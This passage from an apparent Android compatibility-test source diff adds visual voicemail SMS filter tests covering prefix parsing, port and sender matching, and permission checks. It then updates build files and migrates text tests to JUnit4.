+
+            if (mSmsReceiver != null) {
+                mContext.unregisterReceiver(mSmsReceiver);
+            }
+        }
+        super.tearDown();
+    }
+
+    public void testPermissionlessService_ignored() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+
+        PackageManager packageManager = mContext.getPackageManager();
+        packageManager.setComponentEnabledSetting(
+                new ComponentName(mContext, MockVisualVoicemailService.class),
+                PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
+        packageManager.setComponentEnabledSetting(
+                new ComponentName(mContext, PermissionlessVisualVoicemailService.class),
+                PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
+        String clientPrefix = "//CTSVVM";
+        String text = "//CTSVVM:STATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1";
+
+        mTelephonyManager.setVisualVoicemailSmsFilterSettings(
+                new VisualVoicemailSmsFilterSettings.Builder()
+                        .setClientPrefix(clientPrefix)
+                        .build());
+
+        try {
+            mTelephonyManager
+                    .sendVisualVoicemailSms(mPhoneNumber, 0, text, null);
+            fail("SecurityException expected");
+        } catch (SecurityException e) {
+            // Expected
+        }
+
+        CompletableFuture<VisualVoicemailSms> future = new CompletableFuture<>();
+        PermissionlessVisualVoicemailService.setSmsFuture(future);
+
+        setupSmsReceiver(text);
+
+        SmsManager.getDefault().sendTextMessage(mPhoneNumber, null, text, null, null);
+
+        mSmsReceiver.assertReceived(EVENT_RECEIVED_TIMEOUT_MILLIS);
+        try {
+            future.get(EVENT_NOT_RECEIVED_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+            throw new RuntimeException("Unexpected visual voicemail SMS received");
+        } catch (TimeoutException e) {
+            // expected
+        } catch (ExecutionException | InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+
+    }
+
+    public void testFilter() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        VisualVoicemailSms result = getSmsFromText("//CTSVVM",
+                "//CTSVVM:STATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1");
+
+        assertEquals("STATUS", result.getPrefix());
+        assertEquals("R", result.getFields().getString("st"));
+        assertEquals("0", result.getFields().getString("rc"));
+        assertEquals("1", result.getFields().getString("srv"));
+        assertEquals("1", result.getFields().getString("dn"));
+        assertEquals("1", result.getFields().getString("ipt"));
+        assertEquals("0", result.getFields().getString("spt"));
+        assertEquals("eg@example.com", result.getFields().getString("u"));
+        assertEquals("1", result.getFields().getString("pw"));
+    }
+
+    public void testFilter_data() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        if (!hasDataSms()) {
+            Log.d(TAG, "skipping test that requires data SMS feature");
+            return;
+        }
+
+        VisualVoicemailSmsFilterSettings settings = new VisualVoicemailSmsFilterSettings.Builder()
+                .setClientPrefix("//CTSVVM")
+                .build();
+        VisualVoicemailSms result = getSmsFromData(settings, (short) 1000,
+                "//CTSVVM:STATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1", true);
+
+        assertEquals("STATUS", result.getPrefix());
+        assertEquals("R", result.getFields().getString("st"));
+        assertEquals("0", result.getFields().getString("rc"));
+        assertEquals("1", result.getFields().getString("srv"));
+        assertEquals("1", result.getFields().getString("dn"));
+        assertEquals("1", result.getFields().getString("ipt"));
+        assertEquals("0", result.getFields().getString("spt"));
+        assertEquals("eg@example.com", result.getFields().getString("u"));
+        assertEquals("1", result.getFields().getString("pw"));
+    }
+
+
+    public void testFilter_TrailingSemiColon() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        VisualVoicemailSms result = getSmsFromText("//CTSVVM",
+                "//CTSVVM:STATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1;");
+
+        assertEquals("STATUS", result.getPrefix());
+        assertEquals("R", result.getFields().getString("st"));
+        assertEquals("0", result.getFields().getString("rc"));
+        assertEquals("1", result.getFields().getString("srv"));
+        assertEquals("1", result.getFields().getString("dn"));
+        assertEquals("1", result.getFields().getString("ipt"));
+        assertEquals("0", result.getFields().getString("spt"));
+        assertEquals("eg@example.com", result.getFields().getString("u"));
+        assertEquals("1", result.getFields().getString("pw"));
+    }
+
+    public void testFilter_EmptyPrefix() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        VisualVoicemailSms result = getSmsFromText("//CTSVVM",
+                "//CTSVVM::st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1");
+
+        assertEquals("", result.getPrefix());
+        assertEquals("R", result.getFields().getString("st"));
+        assertEquals("0", result.getFields().getString("rc"));
+        assertEquals("1", result.getFields().getString("srv"));
+        assertEquals("1", result.getFields().getString("dn"));
+        assertEquals("1", result.getFields().getString("ipt"));
+        assertEquals("0", result.getFields().getString("spt"));
+        assertEquals("eg@example.com", result.getFields().getString("u"));
+        assertEquals("1", result.getFields().getString("pw"));
+    }
+
+    public void testFilter_EmptyField() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        VisualVoicemailSms result = getSmsFromText("//CTSVVM",
+                "//CTSVVM:STATUS:");
+        assertTrue(result.getFields().isEmpty());
+    }
+
+    public void testFilterFail_NotVvm() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        assertVisualVoicemailSmsNotReceived("//CTSVVM",
+                "helloworld");
+    }
+
+    public void testFilterFail_PrefixMismatch() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        assertVisualVoicemailSmsNotReceived("//CTSVVM",
+                "//FOOVVM:STATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1");
+    }
+
+    public void testFilterFail_MissingFirstColon() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        assertVisualVoicemailSmsNotReceived("//CTSVVM",
+                "//CTSVVMSTATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1");
+    }
+
+    public void testFilterFail_MissingSecondColon() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        assertVisualVoicemailSmsNotReceived("//CTSVVM",
+                "//CTSVVM:STATUSst=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1");
+    }
+
+    public void testFilterFail_MessageEndAfterClientPrefix() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        assertVisualVoicemailSmsNotReceived("//CTSVVM",
+                "//CTSVVM:");
+    }
+
+    public void testFilterFail_MessageEndAfterPrefix() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        assertVisualVoicemailSmsNotReceived("//CTSVVM",
+                "//CTSVVM:STATUS");
+    }
+
+    public void testFilterFail_InvalidKeyValuePair() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        assertVisualVoicemailSmsNotReceived("//CTSVVM",
+                "//CTSVVM:STATUS:key");
+    }
+
+    public void testFilterFail_InvalidMissingKey() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        assertVisualVoicemailSmsNotReceived("//CTSVVM",
+                "//CTSVVM:STATUS:=value");
+    }
+
+    public void testFilter_MissingValue() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        VisualVoicemailSms result = getSmsFromText("//CTSVVM",
+                "//CTSVVM:STATUS:key=");
+        assertEquals("STATUS", result.getPrefix());
+        assertEquals("", result.getFields().getString("key"));
+    }
+
+    public void testFilter_originatingNumber_match_filtered() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        VisualVoicemailSmsFilterSettings settings = new VisualVoicemailSmsFilterSettings.Builder()
+                .setClientPrefix("//CTSVVM")
+                .setOriginatingNumbers(Arrays.asList(mPhoneNumber))
+                .build();
+
+        getSmsFromText(settings, "//CTSVVM:SYNC:key=value", true);
+    }
+
+    public void testFilter_originatingNumber_mismatch_notFiltered() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        VisualVoicemailSmsFilterSettings settings = new VisualVoicemailSmsFilterSettings.Builder()
+                .setClientPrefix("//CTSVVM")
+                .setOriginatingNumbers(Arrays.asList("1"))
+                .build();
+
+        getSmsFromText(settings, "//CTSVVM:SYNC:key=value", false);
+    }
+
+    public void testFilter_port_match() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        if (!hasDataSms()) {
+            Log.d(TAG, "skipping test that requires data SMS feature");
+            return;
+        }
+
+        VisualVoicemailSmsFilterSettings settings = new VisualVoicemailSmsFilterSettings.Builder()
+                .setClientPrefix("//CTSVVM")
+                .setDestinationPort(1000)
+                .build();
+        getSmsFromData(settings, (short) 1000,
+                "//CTSVVM:STATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1", true);
+    }
+
+    public void testFilter_port_mismatch() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        if (!hasDataSms()) {
+            Log.d(TAG, "skipping test that requires data SMS feature");
+            return;
+        }
+
+        VisualVoicemailSmsFilterSettings settings = new VisualVoicemailSmsFilterSettings.Builder()
+                .setClientPrefix("//CTSVVM")
+                .setDestinationPort(1001)
+                .build();
+        getSmsFromData(settings, (short) 1000,
+                "//CTSVVM:STATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1", false);
+    }
+
+    public void testFilter_port_anydata() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        if (!hasDataSms()) {
+            Log.d(TAG, "skipping test that requires data SMS feature");
+            return;
+        }
+
+        VisualVoicemailSmsFilterSettings settings = new VisualVoicemailSmsFilterSettings.Builder()
+                .setClientPrefix("//CTSVVM")
+                .setDestinationPort(VisualVoicemailSmsFilterSettings.DESTINATION_PORT_DATA_SMS)
+                .build();
+        getSmsFromData(settings, (short) 1000,
+                "//CTSVVM:STATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1", true);
+    }
+
+    /**
+     * Text SMS should not be filtered with DESTINATION_PORT_DATA_SMS
+     */
+    public void testFilter_port_anydata_notData() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        if (!hasDataSms()) {
+            Log.d(TAG, "skipping test that requires data SMS feature");
+            return;
+        }
+
+        VisualVoicemailSmsFilterSettings settings = new VisualVoicemailSmsFilterSettings.Builder()
+                .setClientPrefix("//CTSVVM")
+                .setDestinationPort(VisualVoicemailSmsFilterSettings.DESTINATION_PORT_DATA_SMS)
+                .build();
+        getSmsFromText(settings,
+                "//CTSVVM:STATUS:st=R;rc=0;srv=1;dn=1;ipt=1;spt=0;u=eg@example.com;pw=1", false);
+    }
+
+    public void testGetVisualVoicemailPackageName_isSelf() {
+        if (!hasTelephony(mContext)) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        assertEquals(PACKAGE, mTelephonyManager.getVisualVoicemailPackageName());
+    }
+
+    private VisualVoicemailSms getSmsFromText(String clientPrefix, String text) {
+        return getSmsFromText(clientPrefix, text, true);
+    }
+
+    @Nullable
+    private VisualVoicemailSms getSmsFromText(String clientPrefix, String text,
+            boolean expectVvmSms) {
+        return getSmsFromText(
+                new VisualVoicemailSmsFilterSettings.Builder()
+                        .setClientPrefix(clientPrefix)
+                        .build(),
+                text,
+                expectVvmSms);
+    }
+
+    private void assertVisualVoicemailSmsNotReceived(String clientPrefix, String text) {
+        getSmsFromText(clientPrefix, text, false);
+    }
+
+    /**
+     * Setup the SMS filter with only the {@code clientPrefix}, and sends {@code text} to the
+     * device. The SMS sent should not be written to the SMS provider. <p> If {@code expectVvmSms}
+     * is {@code true}, the SMS should be be caught by the SMS filter. The user should not receive
+     * the text, and the parsed result will be returned.* <p> If {@code expectVvmSms} is {@code
+     * false}, the SMS should pass through the SMS filter. The user should receive the text, and
+     * {@code null} be returned.
+     */
+    @Nullable
+    private VisualVoicemailSms getSmsFromText(VisualVoicemailSmsFilterSettings settings,
+            String text,
+            boolean expectVvmSms) {
+
+        mTelephonyManager.setVisualVoicemailSmsFilterSettings(settings);
+
+        CompletableFuture<VisualVoicemailSms> future = new CompletableFuture<>();
+        MockVisualVoicemailService.setSmsFuture(future);
+
+        setupSmsReceiver(text);
+        try (SentSmsObserver observer = new SentSmsObserver(mContext, text)) {
+            mTelephonyManager
+                    .sendVisualVoicemailSms(mPhoneNumber,0, text, null);
+
+            if (expectVvmSms) {
+                VisualVoicemailSms sms;
+                try {
+                    sms = future.get(EVENT_RECEIVED_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+                } catch (InterruptedException | ExecutionException | TimeoutException e) {
+                    throw new RuntimeException(e);
+                }
+                mSmsReceiver.assertNotReceived(EVENT_NOT_RECEIVED_TIMEOUT_MILLIS);
+                observer.assertNotChanged();
+                return sms;
+            } else {
+                mSmsReceiver.assertReceived(EVENT_RECEIVED_TIMEOUT_MILLIS);
+                try {
+                    future.get(EVENT_NOT_RECEIVED_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+                    throw new RuntimeException("Unexpected visual voicemail SMS received");
+                } catch (TimeoutException e) {
+                    // expected
+                    return null;
+                } catch (ExecutionException | InterruptedException e) {
+                    throw new RuntimeException(e);
+                }
+            }
+        }
+    }
+
+    @Nullable
+    private VisualVoicemailSms getSmsFromData(VisualVoicemailSmsFilterSettings settings, short port,
+            String text, boolean expectVvmSms) {
+
+        mTelephonyManager.setVisualVoicemailSmsFilterSettings(settings);
+
+        CompletableFuture<VisualVoicemailSms> future = new CompletableFuture<>();
+        MockVisualVoicemailService.setSmsFuture(future);
+
+        setupSmsReceiver(text);
+        mTelephonyManager.sendVisualVoicemailSms(mPhoneNumber, port, text, null);
+
+        if (expectVvmSms) {
+            VisualVoicemailSms sms;
+            try {
+                sms = future.get(EVENT_RECEIVED_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException | ExecutionException | TimeoutException e) {
+                throw new RuntimeException(e);
+            }
+            mSmsReceiver.assertNotReceived(EVENT_NOT_RECEIVED_TIMEOUT_MILLIS);
+            return sms;
+        } else {
+            mSmsReceiver.assertReceived(EVENT_RECEIVED_TIMEOUT_MILLIS);
+            try {
+                future.get(EVENT_NOT_RECEIVED_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+                throw new RuntimeException("Unexpected visual voicemail SMS received");
+            } catch (TimeoutException e) {
+                // expected
+                return null;
+            } catch (ExecutionException | InterruptedException e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+
+    private void setupSmsReceiver(String text) {
+        mSmsReceiver = new SmsBroadcastReceiver(text);
+        IntentFilter filter = new IntentFilter(Intents.SMS_RECEIVED_ACTION);
+        filter.addAction(Intents.DATA_SMS_RECEIVED_ACTION);
+        mContext.registerReceiver(mSmsReceiver, filter);
+    }
+
+    private static class SmsBroadcastReceiver extends BroadcastReceiver {
+
+        private final String mText;
+
+        private CompletableFuture<Boolean> mFuture = new CompletableFuture<>();
+
+        public SmsBroadcastReceiver(String text) {
+            mText = text;
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            SmsMessage[] messages = Sms.Intents.getMessagesFromIntent(intent);
+            StringBuilder messageBody = new StringBuilder();
+            CharsetDecoder decoder = StandardCharsets.UTF_8.newDecoder();
+            for (SmsMessage message : messages) {
+                if (message.getMessageBody() != null) {
+                    messageBody.append(message.getMessageBody());
+                } else if (message.getUserData() != null) {
+                    ByteBuffer byteBuffer = ByteBuffer.wrap(message.getUserData());
+                    try {
+                        messageBody.append(decoder.decode(byteBuffer).toString());
+                    } catch (CharacterCodingException e) {
+                        return;
+                    }
+                }
+            }
+            if (!TextUtils.equals(mText, messageBody.toString())) {
+                return;
+            }
+            mFuture.complete(true);
+        }
+
+        public void assertReceived(long timeoutMillis) {
+            try {
+                mFuture.get(timeoutMillis, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException | ExecutionException | TimeoutException e) {
+                throw new RuntimeException(e);
+            }
+        }
+
+        public void assertNotReceived(long timeoutMillis) {
+            try {
+                mFuture.get(timeoutMillis, TimeUnit.MILLISECONDS);
+                throw new RuntimeException("Unexpected SMS received");
+            } catch (TimeoutException e) {
+                // expected
+            } catch (InterruptedException | ExecutionException e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+
+    private static class SentSmsObserver extends ContentObserver implements AutoCloseable {
+
+        private final Context mContext;
+        private final String mText;
+
+        public CompletableFuture<Boolean> mFuture = new CompletableFuture<>();
+
+        public SentSmsObserver(Context context, String text) {
+            super(new Handler(Looper.getMainLooper()));
+            mContext = context;
+            mText = text;
+            mContext.getContentResolver().registerContentObserver(Sms.CONTENT_URI, true, this);
+        }
+
+        public void assertNotChanged() {
+            try {
+                mFuture.get(EVENT_NOT_RECEIVED_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+                fail("Visual voicemail SMS should not be added into the sent SMS");
+            } catch (TimeoutException e) {
+                // expected
+            } catch (ExecutionException | InterruptedException e) {
+                throw new RuntimeException(e);
+            }
+
+        }
+
+        @Override
+        public void onChange(boolean selfChange, Uri uri) {
+            try (Cursor cursor = mContext.getContentResolver()
+                    .query(uri, new String[] {Sms.TYPE, Sms.BODY}, null, null, null)) {
+                if (cursor == null){
+                    return;
+                }
+                if (!cursor.moveToFirst()){
+                    return;
+                }
+                if (cursor.getInt(0) == Sms.MESSAGE_TYPE_SENT && TextUtils
+                        .equals(cursor.getString(1), mText)) {
+                    mFuture.complete(true);
+                }
+            } catch (SQLiteException e) {
+
+            }
+        }
+
+        @Override
+        public void close() {
+            mContext.getContentResolver().unregisterContentObserver(this);
+        }
+    }
+
+    private static boolean hasTelephony(Context context) {
+        final PackageManager packageManager = context.getPackageManager();
+        return packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY) &&
+                packageManager.hasSystemFeature(PackageManager.FEATURE_CONNECTION_SERVICE);
+    }
+
+    private boolean hasDataSms() {
+        String mccmnc = mTelephonyManager.getSimOperator();
+        return !CarrierCapability.UNSUPPORT_DATA_SMS_MESSAGES.contains(mccmnc);
+    }
+
+    private static String setDefaultDialer(Instrumentation instrumentation, String packageName)
+            throws Exception {
+        return executeShellCommand(instrumentation, COMMAND_SET_DEFAULT_DIALER + packageName);
+    }
+
+    private static String getDefaultDialer(Instrumentation instrumentation) throws Exception {
+        return executeShellCommand(instrumentation, COMMAND_GET_DEFAULT_DIALER);
+    }
+
+    /**
+     * Executes the given shell command and returns the output in a string. Note that even if we
+     * don't care about the output, we have to read the stream completely to make the command
+     * execute.
+     */
+    private static String executeShellCommand(Instrumentation instrumentation,
+            String command) throws Exception {
+        final ParcelFileDescriptor parcelFileDescriptor =
+                instrumentation.getUiAutomation().executeShellCommand(command);
+        BufferedReader bufferedReader = null;
+        try (InputStream in = new FileInputStream(parcelFileDescriptor.getFileDescriptor())) {
+            bufferedReader = new BufferedReader(new InputStreamReader(in, StandardCharsets.UTF_8));
+            String string = null;
+            StringBuilder out = new StringBuilder();
+            while ((string = bufferedReader.readLine()) != null) {
+                out.append(string);
+            }
+            return out.toString();
+        } finally {
+            if (bufferedReader != null) {
+                closeQuietly(bufferedReader);
+            }
+            closeQuietly(parcelFileDescriptor);
+        }
+    }
+
+    private static void closeQuietly(AutoCloseable closeable) {
+        if (closeable != null) {
+            try {
+                closeable.close();
+            } catch (RuntimeException rethrown) {
+                throw rethrown;
+            } catch (Exception ignored) {
+            }
+        }
+    }
+}
diff --git a/tests/tests/telephony2/Android.mk b/tests/tests/telephony2/Android.mk
index 9e08fb6..3ba6018 100644
--- a/tests/tests/telephony2/Android.mk
+++ b/tests/tests/telephony2/Android.mk
@@ -22,7 +22,10 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ctsdeviceutil legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    compatibility-device-util \
+    legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/telephony2/AndroidTest.xml b/tests/tests/telephony2/AndroidTest.xml
index 45ee5fa..607bbac 100644
--- a/tests/tests/telephony2/AndroidTest.xml
+++ b/tests/tests/telephony2/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Telephony test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="telecom" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTelephony2TestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.telephony2.cts" />
+        <option name="runtime-hint" value="7m30s" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/text/Android.mk b/tests/tests/text/Android.mk
index 65a93fb..2210cbd 100644
--- a/tests/tests/text/Android.mk
+++ b/tests/tests/text/Android.mk
@@ -23,7 +23,12 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil ctsdeviceutillegacy ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES += \
+    compatibility-device-util \
+    ctsdeviceutillegacy \
+    ctstestrunner \
+    android-support-test \
+    mockito-target-minus-junit4 \
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/text/AndroidManifest.xml b/tests/tests/text/AndroidManifest.xml
index fea237f..40a0b50 100644
--- a/tests/tests/text/AndroidManifest.xml
+++ b/tests/tests/text/AndroidManifest.xml
@@ -68,7 +68,7 @@
                 <category android:name="android.intent.category.DEFAULT" />
                 <category android:name="android.intent.category.BROWSABLE" />
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
-                <data android:scheme="ctstest" />
+                <data android:scheme="ctstesttext" />
             </intent-filter>
         </activity>
 
diff --git a/tests/tests/text/AndroidTest.xml b/tests/tests/text/AndroidTest.xml
index 5fef3cb..2b8c733 100644
--- a/tests/tests/text/AndroidTest.xml
+++ b/tests/tests/text/AndroidTest.xml
@@ -14,12 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Text test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTextTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.text.cts" />
-        <option name="runtime-hint" value="3m8s" />
+        <option name="runtime-hint" value="22m" />
     </test>
 </configuration>
diff --git a/tests/tests/text/res/values/strings.xml b/tests/tests/text/res/values/strings.xml
index c167278..b3db2a6 100644
--- a/tests/tests/text/res/values/strings.xml
+++ b/tests/tests/text/res/values/strings.xml
@@ -165,7 +165,7 @@
    <string name="themes_prompt">Select a Theme:</string>
    <string name="sample_text">Sample text goes here. I wanted something creative and whimsical
 but then I just got bored...</string>
-    <string name="long_text">This is a really long string which exceeds the width of the view.
+   <string name="long_text">This is a really long string which exceeds the width of the view.
 New devices have a much larger screen which actually enables long strings to be displayed
 with no fading. I have made this string longer to fix this case. If you are correcting this
 text, I would love to see the kind of devices you guys now use! Guys, maybe some devices need longer string!
@@ -176,4 +176,8 @@
 text, I would love to see the kind of devices you guys now use! Guys, maybe some devices need longer string!
 I think so, so how about double this string, like copy and paste! </string>
     <string name="rectangle200">"M 0,0 l 200,0 l 0, 200 l -200, 0 z"</string>
+    <plurals name="list_ellipsize_test">
+        <item quantity="one">one more</item>
+        <item quantity="other"><xliff:g id="number">%d</xliff:g> more</item>
+    </plurals>
 </resources>
diff --git a/tests/tests/text/src/android/text/cts/AlteredCharSequenceTest.java b/tests/tests/text/src/android/text/cts/AlteredCharSequenceTest.java
index 609370f..e80d233 100644
--- a/tests/tests/text/src/android/text/cts/AlteredCharSequenceTest.java
+++ b/tests/tests/text/src/android/text/cts/AlteredCharSequenceTest.java
@@ -16,44 +16,53 @@
 
 package android.text.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.AlteredCharSequence;
 import android.text.Spanned;
 
-public class AlteredCharSequenceTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AlteredCharSequenceTest {
     private static final String SOURCE_STR = "This is a char sequence.";
+
     private AlteredCharSequence mAlteredCharSequence;
 
+    @Test
     public void testCharAt() {
-        mAlteredCharSequence = null;
-        char[] sub = { 'i', 's' };
-        CharSequence source = "abcdefgh";
-        mAlteredCharSequence = AlteredCharSequence.make(source, sub, 0, sub.length);
+        mAlteredCharSequence = AlteredCharSequence.make("abcdefgh", new char[] {'i', 's'}, 0, 2);
         // chars in sub.
         assertEquals('i', mAlteredCharSequence.charAt(0));
         assertEquals('s', mAlteredCharSequence.charAt(1));
         // chars in source.
         assertEquals('c', mAlteredCharSequence.charAt(2));
         assertEquals('d', mAlteredCharSequence.charAt(3));
-
-        try {
-            mAlteredCharSequence.charAt(-1);
-            fail("should raise a StringIndexOutOfBoundsException.");
-        } catch (StringIndexOutOfBoundsException e) {
-            // expected.
-        }
-
-        try {
-            mAlteredCharSequence.charAt(mAlteredCharSequence.length() + 1);
-            fail("should raise a StringIndexOutOfBoundsException.");
-        } catch (StringIndexOutOfBoundsException e) {
-            // expected.
-        }
     }
 
+    @Test(expected=StringIndexOutOfBoundsException.class)
+    public void testCharAtTooLow() {
+        mAlteredCharSequence = AlteredCharSequence.make("abcdefgh", new char[] {'i', 's'}, 0, 2);
+
+        mAlteredCharSequence.charAt(-1);
+    }
+
+    @Test(expected=StringIndexOutOfBoundsException.class)
+    public void testCharAtTooHigh() {
+        mAlteredCharSequence = AlteredCharSequence.make("abcdefgh", new char[] {'i', 's'}, 0, 2);
+
+        mAlteredCharSequence.charAt(mAlteredCharSequence.length() + 1);
+    }
+
+    @Test
     public void testGetChars() {
-        mAlteredCharSequence = null;
         char[] sub = { 'i', 's' };
         int start = 0;
         int end = 2;
@@ -84,6 +93,7 @@
         }
     }
 
+    @Test
     public void testLength() {
         char[] sub = { 'i', 's' };
 
@@ -95,8 +105,8 @@
         }
     }
 
+    @Test
     public void testMake() {
-        mAlteredCharSequence = null;
         char[] sub = { 'i', 's' };
 
         CharSequence source = SOURCE_STR;
@@ -113,8 +123,8 @@
         assertFalse(0 == acsClassName.compareTo(spanClassName));
     }
 
+    @Test
     public void testSubSequence() {
-        mAlteredCharSequence = null;
         char[] sub = { 'i', 's' };
 
         CharSequence source = SOURCE_STR;
@@ -129,8 +139,8 @@
         }
     }
 
+    @Test
     public void testToString() {
-        mAlteredCharSequence = null;
         char[] sub = { 'i', 's' };
         CharSequence source = SOURCE_STR;
         mAlteredCharSequence = AlteredCharSequence.make(source, sub, 0, sub.length);
@@ -140,28 +150,35 @@
     class MockSpanned implements Spanned {
         public MockSpanned(String sequence) {
         }
+
         public int getSpanEnd(Object tag) {
             return 0;
         }
+
         public int getSpanFlags(Object tag) {
             return 0;
         }
+
         public int getSpanStart(Object tag) {
             return 0;
         }
+
         public <T> T[] getSpans(int start, int end, Class<T> type) {
             return null;
         }
-        @SuppressWarnings("unchecked")
+
         public int nextSpanTransition(int start, int limit, Class type) {
             return 0;
         }
+
         public char charAt(int index) {
             return 0;
         }
+
         public int length() {
             return 0;
         }
+
         public CharSequence subSequence(int start, int end) {
             return null;
         }
diff --git a/tests/tests/text/src/android/text/cts/AndroidCharacterTest.java b/tests/tests/text/src/android/text/cts/AndroidCharacterTest.java
index 7eaa092..16a8344 100644
--- a/tests/tests/text/src/android/text/cts/AndroidCharacterTest.java
+++ b/tests/tests/text/src/android/text/cts/AndroidCharacterTest.java
@@ -16,15 +16,27 @@
 
 package android.text.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.AndroidCharacter;
 
-public class AndroidCharacterTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
